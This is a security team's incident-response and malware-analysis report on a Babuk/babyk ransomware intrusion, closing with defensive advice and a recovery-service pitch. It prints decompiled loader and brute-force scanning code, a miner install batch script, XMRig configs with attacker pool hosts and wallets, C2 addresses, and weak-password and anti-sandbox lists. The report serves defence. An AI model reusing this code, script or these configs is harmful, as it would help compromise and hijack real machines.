文章总结: 这篇文章详细分析了Babuk家族的babyk勒索病毒,包括其攻击路径、恶意文件行为和加密机制。研究发现攻击者通过用友NC资产入侵,利用国产工具横向移动,最终导致30多台服务器被加密。文章还分析了多个恶意文件,包括加密器、挖矿程序和横向移动工具,并提供了风险消减措施、安全设备调优和安全意识培训等建议。
综合评分: 87
文章分类: 恶意软件,漏洞分析,应急响应,威胁情报,漏洞预警
【病毒分析】Babuk家族babyk勒索病毒分析
原创
索勒安全团队
solar应急响应团队
2024年4月26日 12:04
山东
1.背景
2024年4月11日,某影视公司的服务器遭受了勒索软件攻击,随后向我司寻求帮助进行恢复。经过我司溯源排查,勒索组织通过一处用友NC资产进行入侵,攻击者利用国产工具横移了数小时后实施勒索。其中一台超融合(vcenter)成了攻击者重要跳板,但也因为这台重要跳板的“端点挂全部挂”的特性,勒索攻击得到了有效地“自动”遏制,最后排查得出30多台服务器被勒索,重要系统被锁定无法使用,溯源过程中还发现了多个挖矿木马,目前尚不清楚该挖矿木马是否与此次勒索病毒组织有关联,但这也揭示了客户网络安全防护的薄弱之处。
经分析,确认该病毒家族为Babuk,加密之后的文件后缀为.babyk。我司解密专家通过多种数据恢复手段成功将加密文件全部恢复,经负责人确认恢复文件内容无误。
在2024年4月11日至2024年4月20日期间,我司组织了6人次的应急响应团队,为客户受害服务器提供数据备份、溯源分析、漏洞修复、网络排查、渗透测试、安全加固等多项工作。同时,公司网络安全实验室的多位安全专家参与了病毒的逆向分析、日志溯源分析和数据恢复工作,运维专家根据目前现场运维环境及网络架构提出了针对性的安全建设意见。整体圆满完成各项任务,达到客户要求指标。
2.恶意文件分析
溯源过程中我们提取到了加密器并且还提取到了疑似黑客留下的其他攻击工具、挖矿木马,下文一一进行了列举分析,因受篇幅影响,针对加密器的分析会在下篇文章进行推送。
2.1 gykauy.exe文件信息
| 大小 | gykauy.exe(221277 bytes) |
| — | — |
| 操作系统 | Windows |
| 架构 | i386 |
| 类型 | exe |
| 字节序 | Little Endian |
| SHA256 | 2f10ce62e3fcf5c0b2db110211503bc0b857226b65e826300d14af0c040dd7d8 |
| 大小 | gykauy.exe(221277 bytes) |
| 操作系统 | Windows |
| 架构 | i386 |
2.1.1 混淆去除
两种混淆模式:
1.利用异常,抛出异常后接收,干扰控制流分析。
2.类似vmp的垃圾指令,执行但不影响程序环境.这张图中,混淆指令从0x401189开始,到达0x4011f1结束。
ida的解析:
2.1.2 第一层外壳文件逆向分析
以下分许全部基于去除混淆之后的idb文件。
2.1.2.1 主函数
简单地输出调试信息,再检测命令行是否为字符串”Win7”.然后跳入对应的函数,这些函数的区别在第二层壳中显示出。
解密pe文件,并加载,后跳至导出表的不同函数。
2.1.2.2 解密函数
简单的异或加密,中间加了Sleep对抗沙箱.
2.1.2.3 加载pe文件
常规加载方式,分配内存,解析重定位,填充iat,恢复页面属性,调用入口函数.
加载主函数:
int *__cdecl load_pe(_DWORD *a1)
{
int *result; // eax
char *v2; // edi
int *v3; // esi
HANDLE ProcessHeap; // eax
int *v5; // ebx
char *v6; // eax
char *v7; // eax
int *v8; // ecx
int v9; // eax
int *v10; // eax
int *v11; // [esp+10h] [ebp-4h]
if ( *(_WORD *)a1 != 'ZM' )
return 0;
v2 = (char *)a1 + a1[15];
if ( *(_DWORD *)v2 != 'EP' )
return 0;
v3 = (int *)VirtualAlloc(*((LPVOID *)v2 + 13), *((_DWORD *)v2 + 20), 0x2000u, 4u);
v11 = v3;
if ( !v3 )
{
result = (int *)VirtualAlloc(0, *((_DWORD *)v2 + 20), 0x2000u, 4u);
v11 = result;
if ( !result )
return result;
v3 = result;
}
ProcessHeap = GetProcessHeap();
v5 = (int *)HeapAlloc(ProcessHeap, 0, 0x14u);
v5[1] = (int)v3;
v5[3] = 0;
v5[2] = 0;
v5[4] = 0;
VirtualAlloc(v3, *((_DWORD *)v2 + 20), 0x1000u, 4u);
v6 = (char *)VirtualAlloc(v3, *((_DWORD *)v2 + 21), 0x1000u, 4u);
qmemcpy(v6, a1, *((_DWORD *)v2 + 21) + a1[15]);
v7 = &v6[a1[15]];
*v5 = (int)v7;
*((_DWORD *)v7 + 13) = v11;
alloc_segs((int)a1, (int)v2, v5);
v8 = (int *)*((_DWORD *)v2 + 13);
if ( v11 != v8 )
process_relocs(v5, (char *)v11 - (char *)v8);
if ( !fill_iat(v5) )
goto LABEL_14;
protect_memory(v5);
v9 = *(_DWORD *)(*v5 + 40);
if ( v9 )
{
v10 = (int *)((char *)v11 + v9);
if ( !v10 || !((int (__stdcall *)(int *, int, _DWORD))v10)(v11, 1, 0) )// 调用脱壳后dll的dllentrypoint
{
LABEL_14:
free_all(v5);
return 0;
}
v5[4] = 1;
}
return v5;
}
2.1.3 第二层壳(dll)分析
| 大小 | Space.dll(175104 bytes) |
| — | — |
| 操作系统 | Windows |
| 架构 | i386 |
| 类型 | dll |
| 字节序 | Little Endian |
| SHA256 | 06ade8d134978874bbd191717433041dd743a18fe6524a72ab0afc3107940e79 |
导出表:Loginfo是上文命令行传win7时候调用的.FE就是不含win7的时候调用。
2.1.3.1 dll逆向分析
以下内容基于FE函数的分析,即命令行不含有win7.loginfo和fe的区别在于win7缺少自删除,添加服务,自我复制。
2.1.3.2 初始化
dll的入口点,初始化一些字符串和控制参数,来源是原程序导出表中的space函数点,初始化一些字符串和控制参数,来源是原程序导出表中的space函数。
部分字符串如图所示,其余的都是一些无用字符串,是互斥量名,服务名之类.
加密的恶意地址:
端口0x760e;
一些控制变量;
2.1.3.3 主循环函数
Main_loop_func:
打开服务注册表:
创建服务,自我复制到随机文件名;
设置服务失败操作,自动重启。
使用vbs实现自删除。
创建服务,设置服务程序。
以用户模式创建进程。
综上,服务操作为,创建服务,以用户身份创建新进程运行恶意程序的网络操作。
自我复制
2.1.3.4 网络操作
这些网络操作由于实际没有开启控制变量,所以暂时不会运行。
解密网络地址:
解密函数:
初始化互斥量,加载socket库:
连接恶意服务器,使用tcp协议:
创建下载线程:
下载后解压,使用zlib 1.2.5:
前面是库函数代码,红圈这里调用程序自己的组件。
获取系统信息,主频,内存大小,时间等等。
zlib压缩发送到恶意服务器。
程序组件中有一些键盘,音视频,url下载之类的,应该是功能组件,但是这里没有运行,没有下载内容,参数未知,所以无法分析。
2.1.3 小结
本恶意程序运行后,解密pe文件,该pe文件获取系统信息,连接恶意地址,压缩并发送系统信息,同时下载内容,解压后获得一些信息,使用这些信息运行木马组件。
恶意地址 : vig.nishabig.pro:30222
2.2 1110.exe文件信息
| 文件名 | 1110.exe |
| — | — |
| 大小 | 5693307(5.43 MiB) |
| 操作系统 | Windows(XP) |
| 架构 | I386 |
| 模式 | 32位 |
| 类型 | GUI |
| 字节序 | LE |
| MD5 | dbe2a40d35e0aeca8107ce6e533f4b5a |
| SHA256 | 399c78458edbe427dc7a66c123b8503a2ccc6b8cc4b80502774315305cb9bac6 |
2.2.1 恶意行为分析
文件为自解压程序,在程序的附加节中可以得到压缩数据,且压缩数据格式为RAR。
解压可得到以下内容,自解压程序会解压程序到目录C:/IDE/Microsoft/5/
其中3.bat
C:/IDE/Microsoft/5/nssm.exe install javf C:/IDE/Microsoft/5/javasgs.exe
C:/windows/system32/net start javf
del C:/IDE/Microsoft/5/3.bat
config.json
{
"api": {
"id": null,
"worker-id": null
},
"http": {
"enabled": false,
"host": "127.0.0.1",
"port": 0,
"access-token": null,
"restricted": true
},
"autosave": true,
"background": false,
"colors": true,
"title": true,
"randomx": {
"init": -1,
"init-avx2": -1,
"mode": "auto",
"1gb-pages": false,
"rdmsr": true,
"wrmsr": true,
"cache_qos": false,
"numa": true,
"scratchpad_prefetch_mode": 1
},
"cpu": {
"enabled": true,
"huge-pages": true,
"huge-pages-jit": false,
"hw-aes": null,
"priority": null,
"memory-pool": false,
"yield": true,
"max-threads-hint": 70,
"max-cpu-usage": 70,
"asm": true,
"argon2-impl": null,
"cn/0": false,
"cn-lite/0": false
},
"opencl": {
"enabled": false,
"cache": true,
"loader": null,
"platform": "AMD",
"adl": true,
"cn/0": false,
"cn-lite/0": false
},
"cuda": {
"enabled": false,
"loader": null,
"nvml": true,
"cn/0": false,
"cn-lite/0": false
},
"donate-level": 0,
"donate-over-proxy": 0,
"log-file": null,
"pools": [
{
"algo": null,
"coin": null,
"url": "xmr.aaaaaaaa.cyou:1110",
"user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
},
{
"url": "aaaaaaaa.cyou:443",
"user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
},
{
"url": "asia.aaaaaaaa.cyou:1110",
"user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
},
{
"url": "us.aaaaaaaa.cyou:1110",
"user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
},
{
"url": "eu.aaaaaaaa.cyou:1110",
"user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
}
],
"print-time": 60,
"health-print-time": 60,
"dmi": true,
"retries": 5,
"retry-pause": 5,
"syslog": false,
"tls": {
"enabled": false,
"protocols": null,
"cert": null,
"cert_key": null,
"ciphers": null,
"ciphersuites": null,
"dhparam": null
},
"dns": {
"ipv6": false,
"ttl": 10
},
"user-agent": null,
"verbose": 0,
"watch": true
}
2.2.2 小结
运行自解压程序之后会解压在文件夹C:/IDE/Microsoft/5/下,并且启动3.bat完成挖矿程序的安装与运行。
2.3 dgbggrcn.exe文件信息
| 文件名 | dgbggrcn.exe |
| — | — |
| 大小 | 6104064(5.82 MiB) |
| 操作系统 | Windows(XP) |
| 架构 | I386 |
| 模式 | 32位 |
| 类型 | GUI |
| 字节序 | LE |
| MD5 | 5e291e4b7e16b673814e797c328e79dc |
| SHA256 | f30498c8c98dd403d9304868e42096f8320bd14aaa4b10c3f01d5802ca5a9a13 |
| 文件名 | dsvvbfdcn.exe |
| — | — |
| 大小 | 6104064(5.82 MiB) |
| 操作系统 | Windows(XP) |
| 架构 | I386 |
| 模式 | 32位 |
| 类型 | GUI |
| 字节序 | LE |
| MD5 | 3a977a9bf985854d664b8d1ccf33d0f8 |
| SHA256 | e4f87ed86f1c054b53389d12a86e724489f00040cc5f3b48ce89da09a596116a |
文件相似度
两个文件相似度很高,我们选取其中一个分析即可,接下来的分析均基于dgbggrcn.exe.
2.3.1 威胁分析
程序首先会在当前环境中寻找TXnbib.dll,若没有找到,则进入函数sub_3C1EB0进行更进一步处理
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
HMODULE ModuleHandleA; // [esp+0h] [ebp-18h]
void *Block; // [esp+4h] [ebp-14h]
CHAR ModuleName[12]; // [esp+8h] [ebp-10h] BYREF
strcpy(ModuleName, "TXnbib.dll");
ModuleHandleA = GetModuleHandleA(ModuleName);
if ( !ModuleHandleA )
{
Block = malloc(0x40000000u);
memset(Block, 65, 0x40000000u);
off_41B3B0(10);
j___free_base(Block);
sub_3C1EB0(0, (int)Block);
while ( 1 )
off_41B3B0(10000);
}
sub_3C1040(ModuleHandleA);
return 0;
}
查看函数sub_3C1EB0此处会对数据进行解密
int __cdecl sub_3C1EB0(int a1, int a2)
{
char *v2; // ecx
char *v3; // esi
int *v4; // eax
void (*v6)(void); // esi
v3 = v2;
sub_3C1E50(aMz, dword_3D47EC, dword_3D47F0);//解密
v4 = sub_3C1970(aMz);//在此处下断点
if ( !v4 )
return off_41B3B0(0);
v6 = (void (*)(void))sub_3C1C40(v4, v3);
off_41B3B0(0);
if ( v6 )
{
v6();
memset(aMz, 0, 0x46000u);
}
off_41B3B0(0);
return sub_3C1DD0(a1, a2);
}
dump下此处内存,即可得到TXnbib.dll
2.3.2 TXnbib.dll
去除TXnbib.dll的附加节之后得到以下信息
| 文件名 | TXnbib.dll |
| — | — |
| 大小 | 233472(228.00 KiB) |
| 操作系统 | Windows(XP) |
| 架构 | I386 |
| 模式 | 32位 |
| 类型 | DLL |
| 字节序 | LE |
| MD5 | 13f0c0fe9a96c36863ae74c7f453b99d |
| SHA256 | dccf9a931c0074a79ca31d46ad5f93e2f8e0eebd5d2f2b6d8fb9057088a2fced |
分析此dll的字符串
疑似比特地址
.data:1002CFA8 0000008E C -o stratum+tcp://cn.t1linux.com:34965 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p I
大量弱密码
.data:1002DF58 0000000B C 0123456789
.data:1002DF6C 00000008 C 0123456
.data:1002DF74 0000000A C password1
.data:1002DF80 00000007 C qaz123
.data:1002DF88 00000007 C qqqqqq
.data:1002DF90 00000007 C asdfgh
.data:1002DF98 00000007 C asd123
.data:1002DFA0 00000008 C zxcvbnm
.data:1002DFA8 00000007 C zxcvbn
.data:1002DFB0 00000007 C a1b2c3
.data:1002DFB8 00000007 C aaaaaa
.data:1002DFC4 00000007 C 123abc
.data:1002DFCC 00000007 C abc123
.data:1002DFD4 00000007 C qwerty
.data:1002DFDC 0000000B C qwertyuiop
.data:1002DFE8 0000000A C qazwsxedc
.data:1002DFF4 00000007 C qazwsx
.data:1002DFFC 00000008 C qwer123
.data:1002E004 00000009 C qwer1234
.data:1002E010 00000007 C qwe123
.data:1002E018 0000000A C 111222333
.data:1002E024 00000007 C 111222
.data:1002E02C 00000007 C 112233
.data:1002E034 0000000C C 11111111111
.data:1002E040 00000009 C 11111111
.data:1002E04C 00000007 C 111111
.data:1002E058 00000009 C 88888888
.data:1002E064 00000007 C 888888
.data:1002E074 00000009 C 66666666
.data:1002E080 00000007 C 666666
.data:1002E098 0000000A C 123456789
.data:1002E0A4 00000009 C 12345678
.data:1002E0BC 00000008 C 1234567
.data:1002E0C4 00000007 C 123123
.data:1002E0D4 00000007 C 123456
.data:1002E0DC 00000009 C pa$$word
.data:1002E0E8 00000009 C passw0rd
.data:1002E0F4 00000009 C Password
.data:1002E110 00000008 C a123456
.data:1002E118 00000009 C admin123
.data:1002E124 00000006 C guest
.data:1002E12C 00000007 C admin$
.data:1002E134 00000006 C admin
.data:1002E13C 00000009 C password
常见虚拟机与调试器判断
.data:1002DCD4 00000015 C ImmunityDebugger.exe
.data:1002DCEC 0000000B C windbg.exe
.data:1002DCF8 0000000C C x64_dbg.exe
.data:1002DD04 0000000C C OllyICE.exe
.data:1002DD10 0000000C C OllyDBG.EXE
.data:1002DD1C 0000000C C VBoxRes.dll
.data:1002DD28 0000000E C Sandboxie.exe
.data:1002DD38 0000000B C Anubis.exe
.data:1002DD44 0000000B C Cuckoo.exe
.data:1002DD50 0000000C C SbieSvc.exe
.data:1002DD5C 00000013 C sandboxierpcss.exe
.data:1002DD70 00000018 C sandboxiedcomlaunch.exe
.data:1002DD88 0000000C C SbieDrv.sys
.data:1002DD94 0000000C C vboxdrv.sys
.data:1002DDA0 00000017 C VBoxGuestAdditions.sys
.data:1002DDB8 0000000C C Vboxusb.sys
.data:1002DDC4 0000000F C Vboxusbmon.sys
.data:1002DDD4 0000000F C vboxnetadp.sys
.data:1002DDE4 00000011 C VirtualBox Guest
.data:1002DDF8 00000010 C Virtual Machine
.data:1002DE08 00000007 C VMware
.data:1002DE20 0000000D C VMware Tools
常见操作系统
.data:1002DE34 0000000B C Windows XP
.data:1002DE40 00000017 C Windows Server 2003 R2
.data:1002DE58 00000014 C Windows Server 2003
.data:1002DE6C 00000024 C Windows XP Professional x64 Edition
.data:1002DE90 00000014 C Windows Server 2008
.data:1002DEA4 0000000E C Windows Vista
.data:1002DEB4 00000017 C Windows Server 2008 R2
.data:1002DECC 0000000A C Windows 7
.data:1002DED8 00000014 C Windows Server 2012
.data:1002DEEC 0000000A C Windows 8
.data:1002DEF8 0000000B C Windows 10
.data:1002DF04 0000000C C Windows 8.1
虚拟机判断
int sub_10009510()
{
SC_HANDLE v0; // ebp
struct _ENUM_SERVICE_STATUSA *v2; // esi
DWORD v3; // ebx
PCSTR *p_lpDisplayName; // esi
DWORD ServicesReturned; // [esp+10h] [ebp-Ch] BYREF
DWORD ResumeHandle; // [esp+14h] [ebp-8h] BYREF
DWORD pcbBytesNeeded; // [esp+18h] [ebp-4h] BYREF
v0 = OpenSCManagerA(0, 0, 4u);
if ( !v0 )
return -1;
pcbBytesNeeded = 0;
ServicesReturned = 0;
ResumeHandle = 0;
v2 = (struct _ENUM_SERVICE_STATUSA *)LocalAlloc(0x40u, 0x10000u);
if ( !EnumServicesStatusA(v0, 0x30u, 3u, v2, 0x10000u, &pcbBytesNeeded, &ServicesReturned, &ResumeHandle) )
return -1;
v3 = 0;
if ( ServicesReturned )
{
p_lpDisplayName = (PCSTR *)&v2->lpDisplayName;
while ( !StrStrIA(*p_lpDisplayName, aVmwareTools)
&& !StrStrIA(*p_lpDisplayName, aVmware_0)
&& !StrStrIA(*p_lpDisplayName, aVirtualMachine)
&& !StrStrIA(*p_lpDisplayName, aVirtualboxGues) )
{
++v3;
p_lpDisplayName += 9;
if ( v3 >= ServicesReturned )
goto LABEL_12;
}
return 1;
}
else
{
LABEL_12:
CloseServiceHandle(v0);
return 0;
}
}
检查开放的端口,并尝试使用暴力枚举弱密码破解来获取对系统的访问权限。
int sub_100097E0()
{
int result; // eax
struct hostent *v1; // ecx
int v2; // eax
const void **v3; // eax
const void *v4; // esi
unsigned int h_length; // eax
int v6; // edx
int *v7; // ebx
int v8; // ebp
char *v9; // esi
int *v10; // edi
int v11; // eax
int v12; // [esp+Ch] [ebp-258h]
int j; // [esp+10h] [ebp-254h]
int i; // [esp+14h] [ebp-250h]
struct hostent *v15; // [esp+18h] [ebp-24Ch]
int v16; // [esp+1Ch] [ebp-248h]
int v17; // [esp+20h] [ebp-244h]
int v18[3]; // [esp+28h] [ebp-23Ch] BYREF
int v19[6]; // [esp+34h] [ebp-230h] BYREF
int v20[70]; // [esp+4Ch] [ebp-218h] BYREF
char Buffer[128]; // [esp+164h] [ebp-100h] BYREF
char name[125]; // [esp+1E4h] [ebp-80h] BYREF
__int16 v23; // [esp+261h] [ebp-3h]
char v24; // [esp+263h] [ebp-1h]
v19[0] = (int)aAdministrator;
...省略
v20[66] = (int)aRoot;
v20[67] = (int)aServer;
v20[68] = (int)aComputer;
v20[69] = 0;
result = sub_100097A0();
if ( result )
{
memset(name, 0, sizeof(name));
v23 = 0;
v24 = 0;
if ( !gethostname(name, 128) )
{
v1 = gethostbyname(name);
v15 = v1;
if ( v1 )
{
v2 = 0;
for ( i = 0; ; i += 4 )
{
v3 = (const void **)((char *)v1->h_addr_list + v2);
if ( !*v3 )
break;
v4 = *v3;
h_length = v1->h_length;
memset(v18, 0, sizeof(v18));
v12 = 0;
qmemcpy(v18, v4, h_length);
memset(Buffer, 0, sizeof(Buffer));
v16 = BYTE1(v18[0]);
v17 = LOBYTE(v18[0]);
do
{
v6 = 0;
for ( j = 0; j <= 255; ++j )
{
memset(Buffer, 0, sizeof(Buffer));
sprintf(Buffer, "%d.%d.%d.%d", v17, v16, v12, v6);
if ( aAdministrator )
{
v7 = v19;
while ( !asc_1002CA9C )
{
LABEL_14:
v11 = v7[1];
++v7;
if ( !v11 )
goto LABEL_15;
}
v8 = *v7;
v9 = asc_1002CA9C;
v10 = v20;
while ( 1 )
{
Sleep(5u);
if ( sub_10009C90(Buffer, v8, v9) )
break;
v9 = (char *)v10[1];
++v10;
if ( !v9 )
goto LABEL_14;
}
}
LABEL_15:
v6 = j + 1;
}
++v12;
}
while ( v12 <= 255 );
v1 = v15;
v2 = i + 4;
}
}
}
WSACleanup();
return 1;
}
return result;
}
2.3.3 恶意行为
此DLL会访问 216.105.98.122:3666 (mon.nishabig.pro),根据威胁情报
释放文件1HI.exe
| 文件名 | 1HI.exe |
| — | — |
| 大小 | 1341952(1.28 MiB) |
| 操作系统 | Windows(Vista) |
| 架构 | AMD64 |
| 模式 | 64 位 |
| 类型 | 控制台 |
| 字节序 | LE |
| MD5 | 3385ee53b1cae650bb2d8dd0895f15e4 |
| SHA256 | 026a44b6910001ad3700f3c164cbbf5df3a6701d091f83684cb650106ddcd58e |
2.3.4 1HI.exe
以下日志被程序删除
%USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache\IE\KLT1I0ZU\update50[1].xml
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1076.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1087.tmp.csv
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1088.tmp.txt
C:\ProgramData\Microsoft\Windows\WER\Temp\WER2555.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windows\WER\Temp\WER2620.tmp.csv
C:\ProgramData\Microsoft\Windows\WER\Temp\WER2660.tmp.txt
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4560.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4562.tmp.csv
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4573.tmp.txt
C:\Windows\System32\spp\store\2.0\cache\cache.dat
在其中找到了字符串
https://xmrig.com/docs/algorithms
猜测此程序为挖矿程序
2.3.5 小结
dgbggrcn.exe首先判断环境中是否TXnbib.dll,若存在,则直接调用TXnbib.dll导出表中的恶意函数,若环境中不存在,则在自己的程序内部解密出TXnbib.dll后运行其中的恶意函数
在TXnbib.dll会对电脑的环境进行检查,若电脑处于调试环境或者虚拟机环境中则不运行恶意行为,同时此程序会扫描电脑开放的端口,并使用常见的弱密码尝试获得权限
TXnbib.dll会请求 216.105.98.122:3666 (mon.nishabig.pro),具体作用未知
TXnbib.dll会释放1HI.exe,在1HI.exe会删除系统相关的日志文件,并在其中找到了矿池的相关链接,猜测为挖矿程序
2.4 admin.exe文件信息
2.4.1 程序一
| 文件名 | admin.exe |
| — | — |
| 操作系统 | Windows |
| 大小 | 脱壳前 2189824 bytes 脱壳后 6361088 bytes |
| 架构 | amd64 |
| 类型 | exe |
| 字节序 | Little Endian |
| SHA256 | 2f10ce62e3fcf5c0b2db110211503bc0b857226b65e826300d14af0c040dd7d8 |
| 脱壳后SHA256 | b2ec051d1886f1476b0575e3e02f1d0f3eb9bd7c7bab10a89212901674d4e6c9 |
2.4.2 程序二
| 文件名 | WinRing0x64.sys |
| — | — |
| 操作系统 | Windows |
| 大小 | 14544 bytes |
| 架构 | amd64 |
| 类型 | sys |
| 字节序 | Little Endian |
| SHA256 | 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5 |
2.4.3 程序三
| 文件名 | Config.json |
| — | — |
| 大小 | 2973 bytes |
| 类型 | json |
| SHA256 | 571d9b1fa9bb8f597ab43717409a90dcf30cb1459797c4a7f1a160c8fe6ef2c0 |
2.3.4 逆向分析
使用upx脱壳机脱壳后,拖进ida打开。
由信息可初步断定该文件为XMRig 6.21.2程序文件,使用vs编译。
该文件为开源程序,github下载链接: https://github.com/xmrig。下载为XMRig 6.21.2程序文件,使用010 editor对比其中的WinRing0x64.sys;
使用bindiff对比其中的xmrig.exe和admin.exe;
代码部分完全相同。
各文件作用如下:
| WinRing0x64.sys | XMRig矿机使用的驱动组件 |
| — | — |
| admin.exe | 矿机主程序 |
| Config.json | 矿机配置文件,包含钱包地址,钱包密码,矿池地址 |
Config.json内容:
| 矿池地址 | auto.c3pool.org:443 |
| — | — |
| 钱包地址 | 48VcHM6iD4kfXn2pLxVnFjGoapwXZQT9vc5gwJn3ecgxJdtidzqxgiX76TxEbDJKtggtGzWSQo5rfY9z5i8XLnWE5mgSMAi |
| 钱包密码 | new |
2.3.5 小结
此次分析该软件为XMRig挖矿软件的原版程序文件及配置。XMRig 恶意软件在后台运行,使用受害者的 CPU 或 GPU 执行复杂的计算,以挖掘门罗币。XMRig 恶意软件与攻击者控制的指挥和控制(C2)服务器通信。C2 服务器为恶意软件提供挖矿的配置设置,并接收有关挖矿进度和挖掘的加密货币的更新。
3.安全建议
#
3.1 风险消减措施
资产梳理排查目标:根据实际情况,对内外网资产进行分时期排查
服务方式:调研访谈、现场勘查、工具扫描
服务关键内容:流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查
3.2 安全设备调优
#
目标
通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。
主要目标设备
网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。
3.3 全员安全意识增强调优
目标:
通过网络安全意识宣贯、培训提升全方位安全能力
形式:
培训及宣贯
线下培训课表
若无法组织线下的集体培训,考虑两种方式:
1.提供相关的安全意识培训材料,由上而下分发学习
2.组织相关人员线上开会学习。线上培训模式。
线上学习平台
4.团队介绍
solar团队数年深耕勒索解密与数据恢复领域,在勒索解密和数据恢复领域建立了良好的声誉,以高效、安全、可靠的解决方案赢得了客户的信任。无论是个人用户还是大型企业,都能提供量身定制的服务,确保每一个被勒索软件侵害的数据都能够恢复到最佳状态,同时在解密数据恢复后,提供全面的后门排查及安全加固服务,杜绝二次感染的风险。同时,solar团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)以及国家信息安全漏洞库(CNNVD)技术支撑单位等认证,已构建了网络安全行业合格的资质体系。
More
5.数据恢复服务流程
多年的数据恢复处理经验,在不断对客户服务优化的过程中搭建了”免费售前+安心保障+专业恢复+安全防御”一体化的专业服务流程。
① 免费咨询/数据诊断分析
专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复。
售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。
② 评估报价/数据恢复方案
您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。
专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。
③ 确认下单/签订合同
您清楚了解数据恢复方案后,您可自主选择以下下单方式:
双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。
④ 开始数据恢复专业施工
安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。
数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。
⑤ 数据验收/安全防御方案
完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。
客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。
点击关注下方名片进入公众号 了解更多
更多资讯 扫码加入群组交流
喜欢此内容的人还喜欢
【紧急警示】揭秘全新勒索手段:针对NAS被黑客入侵的背后古故事
索勒安全团队
【病毒分析】独家揭秘LIVE勒索病毒家族之1.0(全版本可解密)
索勒安全团队
【病毒分析】独家揭秘LIVE勒索病毒家族之1.5(全版本可解密)
#
索勒安全团队
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
